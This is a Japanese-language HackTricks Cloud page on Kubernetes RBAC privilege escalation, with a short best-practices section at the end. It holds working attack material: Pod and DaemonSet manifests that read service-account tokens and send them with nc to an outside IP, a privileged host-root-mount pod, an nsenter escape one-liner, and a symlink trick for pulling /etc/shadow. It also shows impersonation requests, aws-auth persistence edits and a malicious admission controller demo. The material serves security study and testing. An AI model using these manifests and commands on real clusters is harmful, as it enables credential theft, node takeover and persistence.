Japanese - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Abusing Roles/ClusterRoles in Kubernetes

HackTricksのサポート

ここでは、潜在的に危険なRolesおよびClusterRolesの構成を見つけることができます。 kubectl api-resourcesを使用して、すべてのサポートされているリソースを取得できることを覚えておいてください。

特権昇格

Kubernetesにおいて、異なる権限を持つ別の主体へのアクセスを取得する技術として言及される特権昇格では、基本的に4つの主要な技術があります：

  • Kubernetesクラスタ内または外部クラウドで、より高い権限を持つ他のユーザー/グループ/SAsを偽装できること

  • Kubernetesクラスタ内または外部クラウドで、より高い権限を持つSAsを見つけたりアタッチしたりできるようにポッドを作成/パッチ/実行できること

  • SAsのトークンがシークレットとして保存されているため、シークレットを読み取ることができること

  • コンテナからノードに脱出できることで、ノードで実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができること

  • ポッドでポートフォワードを実行できる能力も言及に値する第5の技術であり、そのポッド内の興味深いリソースにアクセスできるかもしれない

任意のリソースまたは動詞へのアクセス（ワイルドカード）

ワイルドカード (*)は、任意のリソースに対する任意の動詞の権限を与えます。管理者によって使用されます。ClusterRole内では、攻撃者がクラスタ内の任意のネームスペースを悪用できることを意味します。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

特定の動詞を使用して任意のリソースにアクセス

RBACでは、特定の権限には重大なリスクが伴います：

  1. create: 任意のクラスタリソースを作成する権限を付与し、特権昇格のリスクがあります。

  2. list: すべてのリソースをリストすることができ、機密データが漏洩する可能性があります。

  3. get: サービスアカウントからシークレットにアクセスすることを許可し、セキュリティ上の脅威となります。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - トークンの盗み取り

ポッドを作成する権限を持つ攻撃者は、特権付きサービスアカウントをポッドにアタッチし、トークンを盗み取ってサービスアカウントになりすますことができます。これにより、特権が昇格します

攻撃者にトークンを送信するbootstrap-signerサービスアカウントのトークンを盗むポッドの例：

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Podの作成と脱出

以下は、コンテナが持つことができるすべての特権を示しています：

  • 特権アクセス（保護を無効にし、機能を設定する）

  • 特権を昇格させるのに役立つ名前空間hostIPCとhostPidを無効にする

  • ノードのクラウド特権を盗むためのアクセスを提供し、ネットワークへのアクセスを向上させるhostNetwork名前空間を無効にする

  • コンテナ内に**ホストの/**をマウントする

apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

次のコマンドでPodを作成します：

kubectl --token $token create -f mount_root.yaml

一行から、このツイートといくつかの追加を含めて:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

ステルス

おそらく、よりステルスになりたいです。前のテンプレートで言及された特権の一部だけを有効にしてポッドを作成した場合にアクセスできるものを見ることができます：

  • 特権 + hostPID

  • 特権のみ

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

前述の特権を持つポッドの構成を作成/悪用する例は、https://github.com/BishopFox/badPods で見つけることができます

ポッドの作成 - クラウドへの移行

ポッド（および必要に応じてサービスアカウント）を作成できる場合、クラウド環境で特権を取得することができるかもしれません。その後、ポッドまたはサービスアカウントにクラウドロールを割り当て、アクセスすることができます。 さらに、ホストネットワーク名前空間を持つポッドを作成できる場合、ノードインスタンスのIAMロールを盗むことができます。

詳細については、次を確認してください：

Pod Escape Privileges

デプロイメント、デーモンセット、ステートフルセット、レプリケーションコントローラ、レプリカセット、ジョブ、およびクーロンジョブの作成/パッチ

これらの権限を悪用して、前述の例のように新しいポッドを作成し、特権を確立することが可能です。

次のyamlは、デーモンセットを作成し、ポッド内のSAのトークンを外部に持ち出します：

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

**pods/exec**は、ポッド内のシェルでコマンドを実行するために使用されるKubernetesのリソースです。これにより、コンテナ内でコマンドを実行したり、シェルを取得したりすることができます。

したがって、ポッド内に入り、SAのトークンを盗むことが可能であり、特権を持つポッドに入り、ノードに脱出してノード内のすべてのポッドのトークンを盗み、ノードを悪用することができます。

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

ポートフォワード

この権限は、1つのローカルポートを指定されたポッド内の1つのポートに転送することを可能にします。これは、ポッド内で実行されているアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者はそれを悪用して、ポッド内の興味深い（例：DB）や脆弱なアプリケーション（Web？）にアクセスすることがあります。

kubectl port-forward pod/mypod 5000:5000

ホスト書き込み可能 /var/log/ エスケープ

この研究で示されているように、ホストの /var/log/ ディレクトリがマウントされた ポッドにアクセスまたは作成 できる場合、コンテナから脱出 できます。 これは基本的に、Kube-API がコンテナのログを取得しようとするとき（kubectl logs <pod> を使用）、Kubelet サービスの /logs/ エンドポイントを使用してポッドの 0.log ファイルを要求するためです。 Kubelet サービスは /logs/ エンドポイントを公開しており、これは基本的にコンテナの /var/log ファイルシステムを公開しています。

したがって、コンテナの /var/log/ フォルダに書き込みアクセス権 がある攻撃者は、次の2つの方法でこの動作を悪用できます：

  • 通常は /var/logs/pods/namespace_pod_uid/container/0.log にあるコンテナの 0.log ファイルを /etc/shadow を指すシンボリックリンク に変更します。その後、次のようにしてホストの shadow ファイルを持ち出すことができます：

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file

  • 攻撃者が**nodes/logを読む権限を持つプリンシパルを制御している場合、/host-mounted/var/log/symにシンボリックリンクを作成し、https://<gateway>:10250/logs/sym/にアクセスすると、ホストのルート**ファイルシステムがリストされます（シンボリックリンクを変更するとファイルにアクセスできる場合があります）。

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

実験室と自動化されたエクスプロイトは https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

readOnly 保護のバイパス

もし運が良ければ、非常に特権のある CAP_SYS_ADMIN 機能が利用可能であれば、フォルダを単に rw で再マウントすることができます。

mount -o rw,remount /hostlogs/

hostPathのreadOnly保護をバイパスする

この研究に記載されているように、この保護をバイパスすることが可能です。

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

次のようにして以前のもののようなエスケープを防ぐことを意図していました。代わりにhostPath マウントを使用せずに、PersistentVolume と PersistentVolumeClaim を使用して、ホストのフォルダをコンテナに書き込みアクセスでマウントします。

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

特権アカウントのなりすまし

ユーザーなりすまし 権限を持つと、攻撃者は特権アカウントになりすますことができます。

単にkubectlコマンドでパラメータ --as=<username> を使用してユーザーになりすまし、または --as-group=<group> を使用してグループになりすますだけです。

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

または、REST API を使用します:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

シークレットのリスト表示

シークレットのリスト表示権限は、攻撃者が実際にシークレットを読むことを可能にする REST API エンドポイントへのアクセス:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

シークレットの読み取り - トークンIDの総当たり攻撃

読み取り権限を持つ攻撃者は、シークレットの正確な名前が必要ですが、より広範なシークレットの一覧表示権限とは異なり、脆弱性がまだ存在します。システム内のデフォルトサービスアカウントは列挙可能であり、それぞれがシークレットに関連付けられています。これらのシークレットは、静的な接頭辞に続くランダムな5文字の英数字トークン（特定の文字を除く）の名前構造を持っています。ソースコードによると、トークンは制限された27文字のセット（bcdfghjklmnpqrstvwxz2456789）から生成されます。

この制限により、合計可能な組み合わせが14,348,907（27の5乗）に減少します。その結果、攻撃者は時間の経過とともにトークンを推測するために総当たり攻撃を実行し、機密性の高いサービスアカウントへのアクセスによって特権昇格を引き起こす可能性があります。

証明書署名リクエスト

リソースcertificatesigningrequests内に**createの動詞がある場合（または少なくともcertificatesigningrequests/nodeClientにある場合）、新しいノードの新しいCeSRを作成**できます。

ドキュメントによると、これらのリクエストを自動承認することが可能です。その場合、追加の権限は必要ありません。そうでない場合、リクエストを承認できる必要があり、certificatesigningrequests/approval内の更新とsigners内の<signerNameDomain>/<signerNamePath>または<signerNameDomain>/*でのapproveが必要です。

必要なすべての権限を持つロールの例は次のとおりです：

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

したがって、新しいノードCSRが承認されたら、ノードの特別な権限を悪用してシークレットを盗み、特権を昇格させることができます。

この投稿とこの投稿では、GKE K8s TLSブートストラップ構成が自動署名で構成され、新しいK8sノードの資格情報を生成してそれらを悪用して特権を昇格させる方法が悪用されています。 もしあなたが言及された権限を持っている場合、同じことができます。最初の例は、新しいノードがそれにマウントされたコンテナ内のシークレットにアクセスするのを防ぐエラーをバイパスします。なぜなら、ノードはそれにマウントされたコンテナのシークレットにのみアクセスできるからです。

これをバイパスする方法は、単に興味深いシークレットをマウントしたコンテナがあるノード名のノード資格情報を作成することです（ただし、最初の投稿でその方法を確認してください）:

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

EKS（AWS内にいる必要があります）クラスターのkube-systemネームスペース内の**configmapsを変更できる主体は、aws-auth configmapを上書きすることでクラスター管理者権限を取得できます。 必要な動詞はupdateとpatchです。configmapが作成されていない場合はcreate**が必要です：

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

他のアカウントからユーザーにアクセス権を与えるために**aws-authを永続化**に使用できます。

ただし、aws --profile other_account eks update-kubeconfig --name <cluster-name> は異なるアカウントからは機能しません。しかし、実際には aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing は、クラスターのARNを名前の代わりに入力すると機能します。 kubectlを機能させるには、被害者のkubeconfigを構成し、aws exec argsに --profile other_account_role を追加して、kubectlが他のアカウントプロファイルを使用してトークンを取得し、AWSに接続するようにします。

GKEでの昇格

GCPプリンシパルにK8s権限を割り当てる方法は2つあります。いずれの場合も、プリンシパルはクラスターにアクセスするための資格情報を収集するために**container.clusters.get**権限も必要です。そうでない場合は、独自のkubectl構成ファイルを生成する必要があります（次のリンクを参照）。

K8s APIエンドポイントにアクセスする際に、GCP認証トークンが送信されます。その後、GCPはK8s APIエンドポイントを介して、まずプリンシパル（メールアドレスで）がクラスター内でアクセス権を持っているかどうかを確認し、次にGCP IAMを介してアクセス権を持っているかどうかを確認します。 いずれかがtrueであれば、応答されます。そうでない場合は、GCP IAMを介して権限を付与するようにというエラーが表示されます。

その後、最初の方法はGCP IAMを使用することで、K8s権限にはそれに相当するGCP IAM権限があり、プリンシパルがそれを持っていれば使用できます。

GCP - Container Privesc

2番目の方法は、クラスター内でK8s権限を割り当てることで、ユーザーをメールアドレスで識別します（GCPサービスアカウントを含む）。

サービスアカウントトークンの作成

TokenRequests (serviceaccounts/tokenを作成できるプリンシパル)。K8s APIエンドポイントにアクセスする際にSAs（ここの情報）。

ephemeralcontainers

**pods/ephemeralcontainersをupdateまたはpatch**できるプリンシパルは、他のポッドでコードを実行し、特権のあるsecurityContextを持つephemeralコンテナを追加することで、ノードから脱出する可能性があります。

ValidatingWebhookConfigurationsまたはMutatingWebhookConfigurations

validatingwebhookconfigurationsまたはmutatingwebhookconfigurationsの上にcreate、update、またはpatchのいずれかの動詞を持つプリンシパルは、そのようなwebhookconfigurationsの作成が可能になり、特権を昇格することができるかもしれません。

mutatingwebhookconfigurationsの例は、この投稿のこのセクションを参照してください。

昇格

次のセクションで読むことができるように、組み込み特権昇格防止では、プリンシパルは新しい権限を持っていない限り、ロールまたはクラスターロールを更新または作成することはできません。**rolesまたはclusterrolesの上にescalate**動詞を持っている場合は、自分自身にそれらの新しい権限を持たせることなく、新しいロールやクラスターロールを更新/作成できます。

ノードプロキシ

nodes/proxyサブリソースにアクセス権を持つプリンシパルは、Kubelet APIを介してポッドでコードを実行できます（こちらによる）。このページでKubelet認証に関する詳細情報を確認できます：

Kubelet Authentication & Authorization

Kubelet APIに認証された状態でRCEを取得する例はこちらです](../pentesting-kubernetes-services/#kubelet-rce)。

ポッドの削除 + スケジュールされていないノード

ポッドを削除できるプリンシパル（podsリソース上のdelete動詞）、またはポッドを追い出すことができるプリンシパル（pods/evictionリソース上のcreate動詞）、またはポッドのステータスを変更できるプリンシパル（pods/statusへのアクセス）および他のノードをスケジュールできるプリンシパル（nodes/statusへのアクセス）またはノードを削除できるプリンシパル（nodesリソース上のdelete動詞）が、ポッドを制御できる場合、他のノードからポッドを盗むことができ、それらのポッドのトークンを盗むことができます。それらのポッドは侵害されたノードで実行されます。

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

サービスの状態（CVE-2020-8554）

services/status を変更できる主体は、status.loadBalancer.ingress.ip フィールドを設定して、修正されていないCVE-2020-8554を悪用し、クラスターに対するMiTM攻撃を実行できます。CVE-2020-8554のほとんどの緩和策は、ExternalIPサービスを防ぐだけです（こちらによる）。

ノードとポッドの状態

nodes/statusまたはpods/statusに対する**updateまたはpatch**権限を持つ主体は、スケジューリング制約に影響を与えるためにラベルを変更できます。

ビルトイン特権昇格防止

Kubernetesには、特権昇格を防ぐビルトインメカニズムがあります。

このシステムは、ユーザーが役割やロールバインディングを変更して特権を昇格させることを防ぐことを保証します。このルールの強制はAPIレベルで行われ、RBAC認可者が非アクティブであっても保護を提供します。

このルールは、ユーザーが役割を作成または更新できるのは、その役割が持つすべての権限を持っている場合に限ることを規定しています。さらに、ユーザーの既存の権限の範囲は、作成または変更しようとしている役割の範囲と一致している必要があります。ClusterRolesの場合はクラスタ全体、Rolesの場合は同じ名前空間（またはクラスタ全体）に限定されます。

前述のルールには例外があります。主体が**rolesまたはclusterrolesに対してescalate**動詞を持っている場合、その主体は自身に権限がなくても役割やクラスタロールの特権を増やすことができます。

RoleBindings/ClusterRoleBindingsの取得とパッチ

以前はこのテクニックが機能していたようですが、私のテストによると、前のセクションで説明した理由と同じ理由でもう機能していません。すでに権限がない場合、自分自身または別のSAに特権を与えるためにrolebindingを作成/変更することはできません。

Rolebindingsを作成する特権は、ユーザーがサービスアカウントに役割をバインドすることを可能にします。この特権は、ユーザーが危険にさらされたサービスアカウントに管理者特権をバインドすることを許可するため、特権昇格につながる可能性があります。

その他の攻撃

サイドカープロキシアプリ

デフォルトでは、ポッド間の通信には暗号化がありません。相互認証、双方向、ポッド間。

サイドカープロキシアプリを作成

あなたの.yamlを作成

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

編集して、コメントを外した行を追加してください。

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

プロキシのログを参照します：

kubectl logs app -C proxy

詳細はこちら：https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

悪意のあるアドミッションコントローラ

アドミッションコントローラは、オブジェクトの永続化前にKubernetes APIサーバーへのリクエストをインターセプトしますが、リクエストが認証された後であり、承認された後です。

攻撃者がなんらかの方法でMutationg Admission Controllerを注入できれば、すでに認証されたリクエストを変更できるようになります。潜在的に権限昇格が可能になり、クラスターにより一般的に永続化できるようになります。

例 https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

状態を確認して、準備ができているかどうかを確認します:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

その後、新しいポッドをデプロイします：

kubectl run nginx --image nginx
kubectl get po -w

以下のいずれかのクエリでイメージ名を確認してください。ErrImagePullエラーが表示される場合：

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

上の画像で見られるように、nginx イメージを実行しようとしましたが、最終的に実行されたイメージは rewanthtammana/malicious-image です。何が起こったのでしょうか！？

技術的詳細

./deploy.sh スクリプトは、ミューテーティングウェブフックアドミッションコントローラを確立し、その構成行に指定されたように Kubernetes API へのリクエストを変更し、観察される結果に影響を与えます。

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

最初のコンテナイメージをすべてのポッドでrewanthtammana/malicious-imageに置き換えます。

OPA Gatekeeper バイパス

Kubernetes - OPA Gatekeeper bypass

ベストプラクティス

サービスアカウントトークンの自動マウントの無効化

  • ポッドとサービスアカウント: デフォルトでは、ポッドはサービスアカウントトークンをマウントします。セキュリティを強化するために、Kubernetesはこの自動マウント機能の無効化を許可しています。

  • 適用方法: Kubernetesバージョン1.6以降では、サービスアカウントまたはポッドの構成でautomountServiceAccountToken: falseを設定します。

RoleBindings/ClusterRoleBindings での制限付きユーザー割り当て

  • 選択的な包含: RoleBindingsまたはClusterRoleBindingsには必要なユーザーのみが含まれるようにします。不要なユーザーを定期的に監査して削除し、セキュリティを強化します。

クラスタ全体のロールよりも名前空間固有のロールを使用

  • Roles vs. ClusterRoles: クラスタ全体に適用されるClusterRolesとClusterRoleBindingsではなく、名前空間固有の権限にはRolesとRoleBindingsを使用することをお勧めします。このアプローチはより細かい制御を提供し、権限のスコープを制限します。

自動化ツールの使用

参考文献

HackTricksのサポート
PreviousKubernetes Role-Based Access Control(RBAC)NextPod Escape Privileges

Last updated